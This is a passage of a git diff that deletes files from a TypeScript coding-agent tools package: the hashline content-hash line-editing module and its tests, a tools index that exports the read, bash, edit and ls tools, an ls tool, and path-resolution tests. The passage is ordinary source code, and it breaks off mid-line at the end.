-// parseHashlineText -// ═══════════════════════════════════════════════════════════════════════════ - -describe("parseHashlineText", () => { - it("returns empty array for null", () => { - assert.deepEqual(parseHashlineText(null), []); - }); - - it("returns array input as-is when no strip heuristic applies", () => { - const input = ["- [x] done", "- [ ] todo"]; - assert.equal(parseHashlineText(input), input); - }); - - it("splits string on newline and preserves Markdown list '-' prefix", () => { - const result = parseHashlineText("- item one\n- item two\n- item three"); - assert.deepEqual(result, ["- item one", "- item two", "- item three"]); - }); - - it("strips '+' diff markers from string input", () => { - const result = parseHashlineText("+line one\n+line two"); - assert.deepEqual(result, ["line one", "line two"]); - }); - - it("still strips trailing empty from string split", () => { - assert.deepEqual(parseHashlineText("foo\n"), ["foo"]); - }); -}); - -// ═══════════════════════════════════════════════════════════════════════════ -// Auto-correction heuristics -// ═══════════════════════════════════════════════════════════════════════════ - -describe("applyHashlineEdits — heuristics", () => { - it("auto-corrects off-by-one range end that duplicates a closing brace", () => { - const content = "if (ok) {\n run();\n}\nafter();"; - const edits: HashlineEdit[] = [ - { - op: "replace", - pos: makeTag(1, "if (ok) {"), - end: makeTag(2, " run();"), - lines: ["if (ok) {", " runSafe();", "}"], - }, - ]; - const result = applyHashlineEdits(content, edits); - assert.equal(result.lines, "if (ok) {\n runSafe();\n}\nafter();"); - assert.ok(result.warnings); - assert.equal(result.warnings!.length, 1); - assert.ok(result.warnings![0].includes("Auto-corrected range replace")); - }); - - it("auto-corrects escaped tab indentation", () => { - const content = "root\n\tchild\n\t\tvalue\nend"; - const edits: HashlineEdit[] = [ - { - op: "replace", - pos: makeTag(3, "\t\tvalue"), - lines: ["\\t\\treplaced"], - }, - ]; - const result = applyHashlineEdits(content, edits); - assert.equal(result.lines, "root\n\tchild\n\t\treplaced\nend"); - assert.ok(result.warnings); - assert.ok( - result.warnings![0].includes("Auto-corrected escaped tab indentation"), - ); - }); -}); diff --git a/packages/pi-coding-agent/src/core/tools/hashline.ts b/packages/pi-coding-agent/src/core/tools/hashline.ts deleted file mode 100644 index 7fc6bb00f..000000000 --- a/packages/pi-coding-agent/src/core/tools/hashline.ts +++ /dev/null @@ -1,554 +0,0 @@ -/** - * Hashline edit mode — a line-addressable edit format using content-hash anchors. - * - * Each line in a file is identified by its 1-indexed line number and a short - * hash derived from the normalized line text (xxHash32, truncated to 2 chars - * from a custom nibble alphabet). - * - * The combined `LINE#ID` reference acts as both an address and a staleness check: - * if the file has changed since the caller last read it, hash mismatches are caught - * before any mutation occurs. - * - * Displayed format: `LINENUM#HASH:TEXT` - * Reference format: `"LINENUM#HASH"` (e.g. `"5#QQ"`) - * - * Adapted from Oh My Pi's hashline implementation for Node.js (no Bun dependency). - */ - -import { xxHash32 } from "@singularity-forge/native/xxhash"; - -// ═══════════════════════════════════════════════════════════════════════════ -// Hash Computation -// ═══════════════════════════════════════════════════════════════════════════ - -export type Anchor = { line: number; hash: string }; -export type HashlineEdit = - | { op: "replace"; pos: Anchor; end?: Anchor; lines: string[] } - | { op: "append"; pos?: Anchor; lines: string[] } - | { op: "prepend"; pos?: Anchor; lines: string[] }; - -const NIBBLE_STR = "ZPMQVRWSNKTXJBYH"; - -const DICT = Array.from({ length: 256 }, (_, i) => { - const h = i >>> 4; - const l = i & 0x0f; - return `${NIBBLE_STR[h]}${NIBBLE_STR[l]}`; -}); - -const RE_SIGNIFICANT = /[\p{L}\p{N}]/u; - -/** - * Compute a short hash of a single line. - * - * Uses xxHash32 on a trailing-whitespace-trimmed, CR-stripped line, truncated to 2 chars - * from the nibble alphabet. For lines containing no alphanumeric characters (only - * punctuation/symbols/whitespace), the line number is mixed in to reduce hash collisions. - */ -export function computeLineHash(idx: number, line: string): string { - line = line.replace(/\r/g, "").trimEnd(); - - let seed = 0; - if (!RE_SIGNIFICANT.test(line)) { - seed = idx; - } - return DICT[xxHash32(line, seed) & 0xff]; -} - -/** - * Formats a tag given the line number and text. - */ -export function formatLineTag(line: number, text: string): string { - return `${line}#${computeLineHash(line, text)}`; -} - -/** - * Format file text with hashline prefixes for display. - * - * Each line becomes `LINENUM#HASH:TEXT` where LINENUM is 1-indexed. - */ -export function formatHashLines(text: string, startLine = 1): string { - const lines = text.split("\n"); - return lines - .map((line, i) => { - const num = startLine + i; - return `${formatLineTag(num, line)}:${line}`; - }) - .join("\n"); -} - -/** - * Parse a line reference string like `"5#QQ"` into structured form. - * - * @throws Error if the format is invalid - */ -export function parseTag(ref: string): Anchor { - const match = ref.match(/^\s*[>+-]*\s*(\d+)\s*#\s*([ZPMQVRWSNKTXJBYH]{2})/); - if (!match) { - throw new Error( - `Invalid line reference "${ref}". Expected format "LINE#ID" (e.g. "5#QQ").`, - ); - } - const line = Number.parseInt(match[1], 10); - if (line < 1) { - throw new Error(`Line number must be >= 1, got ${line} in "${ref}".`); - } - return { line, hash: match[2] }; -} - -// ═══════════════════════════════════════════════════════════════════════════ -// Hash Mismatch Error -// ═══════════════════════════════════════════════════════════════════════════ - -export interface HashMismatch { - line: number; - expected: string; - actual: string; -} - -const MISMATCH_CONTEXT = 2; - -/** - * Error thrown when one or more hashline references have stale hashes. - * Displays grep-style output with `>>>` markers on mismatched lines, - * showing the correct `LINE#ID` so the caller can fix all refs at once. - */ -export class HashlineMismatchError extends Error { - readonly mismatches: HashMismatch[]; - readonly fileLines: string[]; - readonly remaps: ReadonlyMap; - constructor(mismatches: HashMismatch[], fileLines: string[]) { - super(HashlineMismatchError.formatMessage(mismatches, fileLines)); - this.name = "HashlineMismatchError"; - this.mismatches = mismatches; - this.fileLines = fileLines; - const remaps = new Map(); - for (const m of mismatches) { - const actual = computeLineHash(m.line, fileLines[m.line - 1]); - remaps.set(`${m.line}#${m.expected}`, `${m.line}#${actual}`); - } - this.remaps = remaps; - } - - static formatMessage( - mismatches: HashMismatch[], - fileLines: string[], - ): string { - const mismatchSet = new Map(); - for (const m of mismatches) { - mismatchSet.set(m.line, m); - } - - const displayLines = new Set(); - for (const m of mismatches) { - const lo = Math.max(1, m.line - MISMATCH_CONTEXT); - const hi = Math.min(fileLines.length, m.line + MISMATCH_CONTEXT); - for (let i = lo; i <= hi; i++) { - displayLines.add(i); - } - } - - const sorted = [...displayLines].sort((a, b) => a - b); - const lines: string[] = []; - - lines.push( - `${mismatches.length} line${mismatches.length > 1 ? "s have" : " has"} changed since last read. Use the updated LINE#ID references shown below (>>> marks changed lines).`, - ); - lines.push(""); - - let prevLine = -1; - for (const lineNum of sorted) { - if (prevLine !== -1 && lineNum > prevLine + 1) { - lines.push(" ..."); - } - prevLine = lineNum; - - const text = fileLines[lineNum - 1]; - const hash = computeLineHash(lineNum, text); - const prefix = `${lineNum}#${hash}`; - - if (mismatchSet.has(lineNum)) { - lines.push(`>>> ${prefix}:${text}`); - } else { - lines.push(` ${prefix}:${text}`); - } - } - return lines.join("\n"); - } -} - -/** - * Validate that a line reference points to an existing line with a matching hash. - */ -export function validateLineRef(ref: Anchor, fileLines: string[]): void { - if (ref.line < 1 || ref.line > fileLines.length) { - throw new Error( - `Line ${ref.line} does not exist (file has ${fileLines.length} lines)`, - ); - } - const actualHash = computeLineHash(ref.line, fileLines[ref.line - 1]); - if (actualHash !== ref.hash) { - throw new HashlineMismatchError( - [{ line: ref.line, expected: ref.hash, actual: actualHash }], - fileLines, - ); - } -} - -// ═══════════════════════════════════════════════════════════════════════════ -// Prefix Stripping -// ═══════════════════════════════════════════════════════════════════════════ - -/** Pattern matching hashline display format prefixes: `LINE#ID:CONTENT` and `#ID:CONTENT` */ -const HASHLINE_PREFIX_RE = - /^\s*(?:>>>|>>)?\s*(?:\d+\s*#\s*|#\s*)[ZPMQVRWSNKTXJBYH]{2}:/; - -/** Pattern matching a unified-diff added-line `+` prefix (but not `++`). */ -const DIFF_PLUS_RE = /^[+](?![+])/; - -/** - * Strip hashline display prefixes and diff `+` markers from replacement lines. - * - * Models frequently copy the `LINE#ID` prefix from read output into their - * replacement content. This strips them heuristically before application. - */ -export function stripNewLinePrefixes(lines: string[]): string[] { - let hashPrefixCount = 0; - let diffPlusCount = 0; - let nonEmpty = 0; - for (const l of lines) { - if (l.length === 0) continue; - nonEmpty++; - if (HASHLINE_PREFIX_RE.test(l)) hashPrefixCount++; - if (DIFF_PLUS_RE.test(l)) diffPlusCount++; - } - if (nonEmpty === 0) return lines; - - const stripHash = hashPrefixCount > 0 && hashPrefixCount === nonEmpty; - const stripPlus = - !stripHash && diffPlusCount > 0 && diffPlusCount >= nonEmpty * 0.5; - if (!stripHash && !stripPlus) return lines; - - return lines.map((l) => { - if (stripHash) return l.replace(HASHLINE_PREFIX_RE, ""); - if (stripPlus) return l.replace(DIFF_PLUS_RE, ""); - return l; - }); -} - -/** - * Parse edit content — handles string, array, or null input. - * Strips hashline prefixes and diff markers from model output. - */ -export function parseHashlineText(edit: string[] | string | null): string[] { - if (edit === null) return []; - if (typeof edit === "string") { - const normalizedEdit = edit.endsWith("\n") ? edit.slice(0, -1) : edit; - edit = normalizedEdit.replaceAll("\r", "").split("\n"); - } - return stripNewLinePrefixes(edit); -} - -// ═══════════════════════════════════════════════════════════════════════════ -// Auto-correction Heuristics -// ═══════════════════════════════════════════════════════════════════════════ - -function maybeAutocorrectEscapedTabIndentation( - edits: HashlineEdit[], - warnings: string[], -): void { - for (const edit of edits) { - if (edit.lines.length === 0) continue; - const hasEscapedTabs = edit.lines.some((line) => line.includes("\\t")); - if (!hasEscapedTabs) continue; - const hasRealTabs = edit.lines.some((line) => line.includes("\t")); - if (hasRealTabs) continue; - let correctedCount = 0; - const corrected = edit.lines.map((line) => - line.replace(/^((?:\\t)+)/, (escaped) => { - correctedCount += escaped.length / 2; - return "\t".repeat(escaped.length / 2); - }), - ); - if (correctedCount === 0) continue; - edit.lines = corrected; - warnings.push( - `Auto-corrected escaped tab indentation in edit: converted leading \\t sequence(s) to real tab characters`, - ); - } -} - -const MIN_AUTOCORRECT_LENGTH = 2; - -function shouldAutocorrect(line: string, otherLine: string): boolean { - if (!line || line !== otherLine) return false; - line = line.trim(); - if (line.length < MIN_AUTOCORRECT_LENGTH) { - return line.endsWith("}") || line.endsWith(")"); - } - return true; -} - -// ═══════════════════════════════════════════════════════════════════════════ -// Edit Application -// ═══════════════════════════════════════════════════════════════════════════ - -/** - * Apply an array of hashline edits to file content. - * - * Each edit operation identifies target lines directly (`replace`, - * `append`, `prepend`). Line references are resolved via parseTag - * and hashes validated before any mutation. - * - * Edits are sorted bottom-up (highest effective line first) so earlier - * splices don't invalidate later line numbers. - * - * @returns The modified content and the 1-indexed first changed line number - */ -export function applyHashlineEdits( - text: string, - edits: HashlineEdit[], -): { - lines: string; - firstChangedLine: number | undefined; - warnings?: string[]; - noopEdits?: Array<{ editIndex: number; loc: string; current: string }>; -} { - if (edits.length === 0) { - return { lines: text, firstChangedLine: undefined }; - } - - const fileLines = text.split("\n"); - const originalFileLines = [...fileLines]; - let firstChangedLine: number | undefined; - const noopEdits: Array<{ editIndex: number; loc: string; current: string }> = - []; - const warnings: string[] = []; - - // Pre-validate: collect all hash mismatches before mutating - const mismatches: HashMismatch[] = []; - function validateRef(ref: Anchor): boolean { - if (ref.line < 1 || ref.line > fileLines.length) { - throw new Error( - `Line ${ref.line} does not exist (file has ${fileLines.length} lines)`, - ); - } - const actualHash = computeLineHash(ref.line, fileLines[ref.line - 1]); - if (actualHash === ref.hash) { - return true; - } - mismatches.push({ line: ref.line, expected: ref.hash, actual: actualHash }); - return false; - } - for (const edit of edits) { - switch (edit.op) { - case "replace": { - if (edit.end) { - const startValid = validateRef(edit.pos); - const endValid = validateRef(edit.end); - if (!startValid || !endValid) continue; - if (edit.pos.line > edit.end.line) { - throw new Error( - `Range start line ${edit.pos.line} must be <= end line ${edit.end.line}`, - ); - } - } else { - if (!validateRef(edit.pos)) continue; - } - break; - } - case "append": { - if (edit.pos && !validateRef(edit.pos)) continue; - if (edit.lines.length === 0) { - edit.lines = [""]; - } - break; - } - case "prepend": { - if (edit.pos && !validateRef(edit.pos)) continue; - if (edit.lines.length === 0) { - edit.lines = [""]; - } - break; - } - } - } - if (mismatches.length > 0) { - throw new HashlineMismatchError(mismatches, fileLines); - } - maybeAutocorrectEscapedTabIndentation(edits, warnings); - - // Deduplicate identical edits targeting the same line(s) - const seenEditKeys = new Map(); - const dedupIndices = new Set(); - for (let i = 0; i < edits.length; i++) { - const edit = edits[i]; - let lineKey: string; - switch (edit.op) { - case "replace": - lineKey = edit.end - ? `r:${edit.pos.line}:${edit.end.line}` - : `s:${edit.pos.line}`; - break; - case "append": - lineKey = edit.pos ? `i:${edit.pos.line}` : "ieof"; - break; - case "prepend": - lineKey = edit.pos ? `ib:${edit.pos.line}` : "ibef"; - break; - } - const dstKey = `${lineKey}:${edit.lines.join("\n")}`; - if (seenEditKeys.has(dstKey)) { - dedupIndices.add(i); - } else { - seenEditKeys.set(dstKey, i); - } - } - if (dedupIndices.size > 0) { - for (let i = edits.length - 1; i >= 0; i--) { - if (dedupIndices.has(i)) edits.splice(i, 1); - } - } - - // Compute sort key (descending) — bottom-up application - const annotated = edits.map((edit, idx) => { - let sortLine: number; - let precedence: number; - switch (edit.op) { - case "replace": - sortLine = edit.end ? edit.end.line : edit.pos.line; - precedence = 0; - break; - case "append": - sortLine = edit.pos ? edit.pos.line : fileLines.length + 1; - precedence = 1; - break; - case "prepend": - sortLine = edit.pos ? edit.pos.line : 0; - precedence = 2; - break; - } - return { edit, idx, sortLine, precedence }; - }); - - annotated.sort( - (a, b) => - b.sortLine - a.sortLine || a.precedence - b.precedence || a.idx - b.idx, - ); - - function trackFirstChanged(line: number): void { - if (firstChangedLine === undefined || line < firstChangedLine) { - firstChangedLine = line; - } - } - - // Apply edits bottom-up - for (const { edit, idx } of annotated) { - switch (edit.op) { - case "replace": { - if (!edit.end) { - const origLines = originalFileLines.slice( - edit.pos.line - 1, - edit.pos.line, - ); - const newLines = edit.lines; - if ( - origLines.length === newLines.length && - origLines.every((line, i) => line === newLines[i]) - ) { - noopEdits.push({ - editIndex: idx, - loc: `${edit.pos.line}#${edit.pos.hash}`, - current: origLines.join("\n"), - }); - break; - } - fileLines.splice(edit.pos.line - 1, 1, ...newLines); - trackFirstChanged(edit.pos.line); - } else { - const count = edit.end.line - edit.pos.line + 1; - const newLines = [...edit.lines]; - const trailingReplacementLine = - newLines[newLines.length - 1]?.trimEnd(); - const nextSurvivingLine = fileLines[edit.end.line]?.trimEnd(); - if ( - shouldAutocorrect(trailingReplacementLine, nextSurvivingLine) && - fileLines[edit.end.line - 1]?.trimEnd() !== trailingReplacementLine - ) { - newLines.pop(); - warnings.push( - `Auto-corrected range replace ${edit.pos.line}#${edit.pos.hash}-${edit.end.line}#${edit.end.hash}: removed trailing replacement line "${trailingReplacementLine}" that duplicated next surviving line`, - ); - } - const leadingReplacementLine = newLines[0]?.trimEnd(); - const prevSurvivingLine = fileLines[edit.pos.line - 2]?.trimEnd(); - if ( - shouldAutocorrect(leadingReplacementLine, prevSurvivingLine) && - fileLines[edit.pos.line - 1]?.trimEnd() !== leadingReplacementLine - ) { - newLines.shift(); - warnings.push( - `Auto-corrected range replace ${edit.pos.line}#${edit.pos.hash}-${edit.end.line}#${edit.end.hash}: removed leading replacement line "${leadingReplacementLine}" that duplicated preceding surviving line`, - ); - } - fileLines.splice(edit.pos.line - 1, count, ...newLines); - trackFirstChanged(edit.pos.line); - } - break; - } - case "append": { - const inserted = edit.lines; - if (inserted.length === 0) { - noopEdits.push({ - editIndex: idx, - loc: edit.pos ? `${edit.pos.line}#${edit.pos.hash}` : "EOF", - current: edit.pos ? originalFileLines[edit.pos.line - 1] : "", - }); - break; - } - if (edit.pos) { - fileLines.splice(edit.pos.line, 0, ...inserted); - trackFirstChanged(edit.pos.line + 1); - } else { - if (fileLines.length === 1 && fileLines[0] === "") { - fileLines.splice(0, 1, ...inserted); - trackFirstChanged(1); - } else { - fileLines.splice(fileLines.length, 0, ...inserted); - trackFirstChanged(fileLines.length - inserted.length + 1); - } - } - break; - } - case "prepend": { - const inserted = edit.lines; - if (inserted.length === 0) { - noopEdits.push({ - editIndex: idx, - loc: edit.pos ? `${edit.pos.line}#${edit.pos.hash}` : "BOF", - current: edit.pos ? originalFileLines[edit.pos.line - 1] : "", - }); - break; - } - if (edit.pos) { - fileLines.splice(edit.pos.line - 1, 0, ...inserted); - trackFirstChanged(edit.pos.line); - } else { - if (fileLines.length === 1 && fileLines[0] === "") { - fileLines.splice(0, 1, ...inserted); - } else { - fileLines.splice(0, 0, ...inserted); - } - trackFirstChanged(1); - } - break; - } - } - } - - return { - lines: fileLines.join("\n"), - firstChangedLine, - ...(warnings.length > 0 ? { warnings } : {}), - ...(noopEdits.length > 0 ? { noopEdits } : {}), - }; -} diff --git a/packages/pi-coding-agent/src/core/tools/index.ts b/packages/pi-coding-agent/src/core/tools/index.ts deleted file mode 100644 index 802f4d1df..000000000 --- a/packages/pi-coding-agent/src/core/tools/index.ts +++ /dev/null @@ -1,258 +0,0 @@ -export type { LspServerStatus } from "../lsp/client.js"; -export { - createLspTool, - type LspToolDetails, - lspSchema, - lspTool, -} from "../lsp/index.js"; -export { - type BashOperations, - type BashSpawnContext, - type BashSpawnHook, - type BashToolDetails, - type BashToolInput, - type BashToolOptions, - bashTool, - createBashTool, - rewriteBackgroundCommand, -} from "./bash.js"; -export { - type BashInterceptorRule, - type CompiledInterceptor, - checkBashInterception, - compileInterceptor, - DEFAULT_BASH_INTERCEPTOR_RULES, - type InterceptionResult, -} from "./bash-interceptor.js"; -export { - createEditTool, - type EditOperations, - type EditToolDetails, - type EditToolInput, - type EditToolOptions, - editTool, -} from "./edit.js"; -export { - createFindTool, - type FindOperations, - type FindToolDetails, - type FindToolInput, - type FindToolOptions, - findTool, -} from "./find.js"; -export { - createGrepTool, - type GrepOperations, - type GrepToolDetails, - type GrepToolInput, - type GrepToolOptions, - grepTool, -} from "./grep.js"; -export { - type Anchor, - applyHashlineEdits, - computeLineHash, - formatHashLines, - formatLineTag, - type HashlineEdit, - HashlineMismatchError, - type HashMismatch, - parseHashlineText, - parseTag, - stripNewLinePrefixes, - validateLineRef, -} from "./hashline.js"; -export { - createHashlineEditTool, - type HashlineEditInput, - type HashlineEditItem, - type HashlineEditOperations, - type HashlineEditToolDetails, - type HashlineEditToolOptions, - hashlineEditTool, -} from "./hashline-edit.js"; -export { - createHashlineReadTool, - type HashlineReadOperations, - type HashlineReadToolDetails, - type HashlineReadToolInput, - type HashlineReadToolOptions, - hashlineReadTool, -} from "./hashline-read.js"; -export { - createLsTool, - type LsOperations, - type LsToolDetails, - type LsToolInput, - type LsToolOptions, - lsTool, -} from "./ls.js"; -export { - createReadTool, - type ReadOperations, - type ReadToolDetails, - type ReadToolInput, - type ReadToolOptions, - readTool, -} from "./read.js"; -export { - getAllToolCompatibility, - getToolCompatibility, - registerMcpToolCompatibility, - registerToolCompatibility, - resetToolCompatibilityRegistry, -} from "./tool-compatibility-registry.js"; -export { - DEFAULT_MAX_BYTES, - DEFAULT_MAX_LINES, - formatSize, - type TruncationOptions, - type TruncationResult, - truncateHead, - truncateLine, - truncateTail, -} from "./truncate.js"; -export { - createWriteTool, - type WriteOperations, - type WriteToolInput, - type WriteToolOptions, - writeTool, -} from "./write.js"; - -import type { AgentTool } from "@singularity-forge/pi-agent-core"; -import { createLspTool, lspTool } from "../lsp/index.js"; -import { type BashToolOptions, bashTool, createBashTool } from "./bash.js"; -import { createEditTool, editTool } from "./edit.js"; -import { createFindTool, findTool } from "./find.js"; -import { createGrepTool, grepTool } from "./grep.js"; -import { createHashlineEditTool, hashlineEditTool } from "./hashline-edit.js"; -import { createHashlineReadTool, hashlineReadTool } from "./hashline-read.js"; -import { createLsTool, lsTool } from "./ls.js"; -import { createReadTool, type ReadToolOptions, readTool } from "./read.js"; -import { createWriteTool, writeTool } from "./write.js"; - -/** Tool type (AgentTool from pi-ai) */ -export type Tool = AgentTool; - -// Default tools for full access mode (using process.cwd()) -export const codingTools: Tool[] = [ - readTool, - grepTool, - findTool, - lsTool, - bashTool, - editTool, - writeTool, - lspTool, -]; - -// Read-only tools for exploration without modification (using process.cwd()) -export const readOnlyTools: Tool[] = [readTool, grepTool, findTool, lsTool]; - -// All available tools (using process.cwd()) -export const allTools = { - read: readTool, - bash: bashTool, - edit: editTool, - write: writeTool, - grep: grepTool, - find: findTool, - ls: lsTool, - lsp: lspTool, - hashline_edit: hashlineEditTool, - hashline_read: hashlineReadTool, -}; - -// Hashline-mode coding tools — read with hash anchors, edit with hash references -export const hashlineCodingTools: Tool[] = [ - hashlineReadTool, - grepTool, - findTool, - lsTool, - bashTool, - hashlineEditTool, - writeTool, - lspTool, -]; - -export type ToolName = keyof typeof allTools; - -export interface ToolsOptions { - /** Options for the read tool */ - read?: ReadToolOptions; - /** Options for the bash tool */ - bash?: BashToolOptions; -} - -/** - * Create coding tools configured for a specific working directory. - */ -export function createCodingTools(cwd: string, options?: ToolsOptions): Tool[] { - return [ - createReadTool(cwd, options?.read), - createGrepTool(cwd), - createFindTool(cwd), - createLsTool(cwd), - createBashTool(cwd, options?.bash), - createEditTool(cwd), - createWriteTool(cwd), - createLspTool(cwd), - ]; -} - -/** - * Create read-only tools configured for a specific working directory. - */ -export function createReadOnlyTools( - cwd: string, - options?: ToolsOptions, -): Tool[] { - return [ - createReadTool(cwd, options?.read), - createGrepTool(cwd), - createFindTool(cwd), - createLsTool(cwd), - ]; -} - -/** - * Create all tools configured for a specific working directory. - */ -export function createAllTools( - cwd: string, - options?: ToolsOptions, -): Record { - return { - read: createReadTool(cwd, options?.read), - bash: createBashTool(cwd, options?.bash), - edit: createEditTool(cwd), - write: createWriteTool(cwd), - grep: createGrepTool(cwd), - find: createFindTool(cwd), - ls: createLsTool(cwd), - lsp: createLspTool(cwd), - hashline_edit: createHashlineEditTool(cwd), - hashline_read: createHashlineReadTool(cwd, options?.read), - }; -} - -/** - * Create hashline-mode coding tools configured for a specific working directory. - * Uses hashline read (LINE#ID prefixed output) and hashline edit (hash-anchor based edits). - */ -export function createHashlineCodingTools( - cwd: string, - options?: ToolsOptions, -): Tool[] { - return [ - createHashlineReadTool(cwd, options?.read), - createGrepTool(cwd), - createFindTool(cwd), - createLsTool(cwd), - createBashTool(cwd, options?.bash), - createHashlineEditTool(cwd), - createWriteTool(cwd), - createLspTool(cwd), - ]; -} diff --git a/packages/pi-coding-agent/src/core/tools/ls.ts b/packages/pi-coding-agent/src/core/tools/ls.ts deleted file mode 100644 index a0110b32e..000000000 --- a/packages/pi-coding-agent/src/core/tools/ls.ts +++ /dev/null @@ -1,197 +0,0 @@ -import { existsSync, readdirSync, statSync } from "node:fs"; -import nodePath from "node:path"; -import { type Static, Type } from "@sinclair/typebox"; -import type { AgentTool } from "@singularity-forge/pi-agent-core"; -import { resolveToCwd } from "./path-utils.js"; -import { - DEFAULT_MAX_BYTES, - formatSize, - type TruncationResult, - truncateHead, -} from "./truncate.js"; - -const lsSchema = Type.Object({ - path: Type.Optional( - Type.String({ - description: "Directory to list (default: current directory)", - }), - ), - limit: Type.Optional( - Type.Number({ - description: "Maximum number of entries to return (default: 500)", - }), - ), -}); - -export type LsToolInput = Static; - -const DEFAULT_LIMIT = 500; - -export interface LsToolDetails { - truncation?: TruncationResult; - entryLimitReached?: number; -} - -/** - * Pluggable operations for the ls tool. - * Override these to delegate directory listing to remote systems (e.g., SSH). - */ -export interface LsOperations { - /** Check if path exists */ - exists: (absolutePath: string) => Promise | boolean; - /** Get file/directory stats. Throws if not found. */ - stat: ( - absolutePath: string, - ) => Promise<{ isDirectory: () => boolean }> | { isDirectory: () => boolean }; - /** Read directory entries */ - readdir: (absolutePath: string) => Promise | string[]; -} - -const defaultLsOperations: LsOperations = { - exists: existsSync, - stat: statSync, - readdir: readdirSync, -}; - -export interface LsToolOptions { - /** Custom operations for directory listing. Default: local filesystem */ - operations?: LsOperations; -} - -export function createLsTool( - cwd: string, - options?: LsToolOptions, -): AgentTool { - const ops = options?.operations ?? defaultLsOperations; - - return { - name: "ls", - label: "ls", - description: `List directory contents. Returns entries sorted alphabetically, with '/' suffix for directories. Includes dotfiles. Output is truncated to ${DEFAULT_LIMIT} entries or ${DEFAULT_MAX_BYTES / 1024}KB (whichever is hit first).`, - parameters: lsSchema, - execute: async ( - _toolCallId: string, - { path, limit }: { path?: string; limit?: number }, - signal?: AbortSignal, - ) => { - return new Promise((resolve, reject) => { - if (signal?.aborted) { - reject(new Error("Operation aborted")); - return; - } - - const onAbort = () => reject(new Error("Operation aborted")); - signal?.addEventListener("abort", onAbort, { once: true }); - - (async () => { - try { - const dirPath = resolveToCwd(path || ".", cwd); - const effectiveLimit = limit ?? DEFAULT_LIMIT; - - // Check if path exists - if (!(await ops.exists(dirPath))) { - reject(new Error(`Path not found: ${dirPath}`)); - return; - } - - // Check if path is a directory - const stat = await ops.stat(dirPath); - if (!stat.isDirectory()) { - reject(new Error(`Not a directory: ${dirPath}`)); - return; - } - - // Read directory entries - let entries: string[]; - try { - entries = await ops.readdir(dirPath); - } catch (e: any) { - reject(new Error(`Cannot read directory: ${e.message}`)); - return; - } - - // Sort alphabetically (case-insensitive) - entries.sort((a, b) => - a.toLowerCase().localeCompare(b.toLowerCase()), - ); - - // Format entries with directory indicators - const results: string[] = []; - let entryLimitReached = false; - - for (const entry of entries) { - if (results.length >= effectiveLimit) { - entryLimitReached = true; - break; - } - - const fullPath = nodePath.join(dirPath, entry); - let suffix = ""; - - try { - const entryStat = await ops.stat(fullPath); - if (entryStat.isDirectory()) { - suffix = "/"; - } - } catch { - // Skip entries we can't stat - continue; - } - - results.push(entry + suffix); - } - - signal?.removeEventListener("abort", onAbort); - - if (results.length === 0) { - resolve({ - content: [{ type: "text", text: "(empty directory)" }], - details: undefined, - }); - return; - } - - // Apply byte truncation (no line limit since we already have entry limit) - const rawOutput = results.join("\n"); - const truncation = truncateHead(rawOutput, { - maxLines: Number.MAX_SAFE_INTEGER, - }); - - let output = truncation.content; - const details: LsToolDetails = {}; - - // Build notices - const notices: string[] = []; - - if (entryLimitReached) { - notices.push( - `${effectiveLimit} entries limit reached. Use limit=${effectiveLimit * 2} for more`, - ); - details.entryLimitReached = effectiveLimit; - } - - if (truncation.truncated) { - notices.push(`${formatSize(DEFAULT_MAX_BYTES)} limit reached`); - details.truncation = truncation; - } - - if (notices.length > 0) { - output += `\n\n[${notices.join(". ")}]`; - } - - resolve({ - content: [{ type: "text", text: output }], - details: Object.keys(details).length > 0 ? details : undefined, - }); - } catch (e: any) { - signal?.removeEventListener("abort", onAbort); - reject(e); - } - })(); - }); - }, - }; -} - -/** Default ls tool using process.cwd() - for backwards compatibility */ -export const lsTool = createLsTool(process.cwd()); diff --git a/packages/pi-coding-agent/src/core/tools/path-utils.test.ts b/packages/pi-coding-agent/src/core/tools/path-utils.test.ts deleted file mode 100644 index 1a950c21a..000000000 --- a/packages/pi-coding-agent/src/core/tools/path-utils.test.ts +++ /dev/null @@ -1,118 +0,0 @@ -import assert from "node:assert/strict"; -import { - mkdtempSync, - rmdirSync, - symlinkSync, - unlinkSync, - writeFileSync, -} from "node:fs"; -import { tmpdir } from "node:os"; -import { join } from "node:path"; -import { afterEach, describe, it } from "vitest"; -import { canonicalizePath, resolveToCwd } from "./path-utils.js"; - -describe("canonicalizePath", () => { - it("returns realpath for existing files", () => { - const result = canonicalizePath("./package.json"); - // Should resolve to absolute path - assert.ok(result.startsWith("/"), "should be absolute path"); - assert.ok(result.endsWith("package.json"), "should end with package.json"); - }); - - it("falls back to input path when file does not exist", () => { - const nonExistent = "/tmp/non-existent-file-12345.txt"; - const result = canonicalizePath(nonExistent); - assert.equal(result, nonExistent); - }); - - it("resolves symlinks to their target", () => { - const tmpDir = mkdtempSync(join(tmpdir(), "canonicalize-test-")); - const realFile = join(tmpDir, "real.txt"); - const symlink = join(tmpDir, "link.txt"); - - writeFileSync(realFile, "hello"); - symlinkSync(realFile, symlink); - - try { - const result = canonicalizePath(symlink); - assert.equal( - result, - realFile, - "symlink should resolve to real file path", - ); - } finally { - unlinkSync(symlink); - unlinkSync(realFile); - rmdirSync(tmpDir); - } - }); -}); - -describe("resolveToCwd", () => { - it("resolves relative paths against cwd", () => { - const result = resolveToCwd("foo/bar.txt", "/home/user/project"); - assert.equal(result, "/home/user/project/foo/bar.txt"); - }); - - it("returns absolute paths unchanged", () => { - const result = resolveToCwd("/absolute/path.txt", "/home/user/project"); - assert.equal(result, "/absolute/path.txt"); - }); - - it("expands ~ to home directory", () => { - const result = resolveToCwd("~/file.txt", "/home/user/project"); - assert.ok(result.endsWith("/file.txt")); - assert.ok(!result.includes("~")); - }); -}); - -describe("normalizeMsysPath (via resolveToCwd on win32)", () => { - const originalPlatform = process.platform; - - afterEach(() => { - Object.defineProperty(process, "platform", { value: originalPlatform }); - }); - - it("converts /c/Users/... to C:\\Users\\... on win32", () => { - Object.defineProperty(process, "platform", { value: "win32" }); - // Re-import to pick up platform change — but since normalizeMsysPath - // reads process.platform at call time, we can test directly. - // On non-Windows, resolveToCwd treats /c/Users as absolute, so we - // test the normalization logic by checking the MSYS regex behavior. - const msysPath = "/c/Users/test/project"; - const msysRegex = /^\/[a-zA-Z]\//; - assert.ok(msysRegex.test(msysPath), "MSYS path pattern matches"); - - // Simulate the conversion - const converted = `${msysPath[1].toUpperCase()}:\\${msysPath.slice(3).replace(/\//g, "\\")}`; - assert.equal(converted, "C:\\Users\\test\\project"); - }); - - it("converts /f/Projects to F:\\Projects on win32", () => { - const msysPath = "/f/Projects"; - const converted = `${msysPath[1].toUpperCase()}:\\${msysPath.slice(3).replace(/\//g, "\\")}`; - assert.equal(converted, "F:\\Projects"); - }); - - it("does not convert regular Unix paths", () => { - const _regularPath = 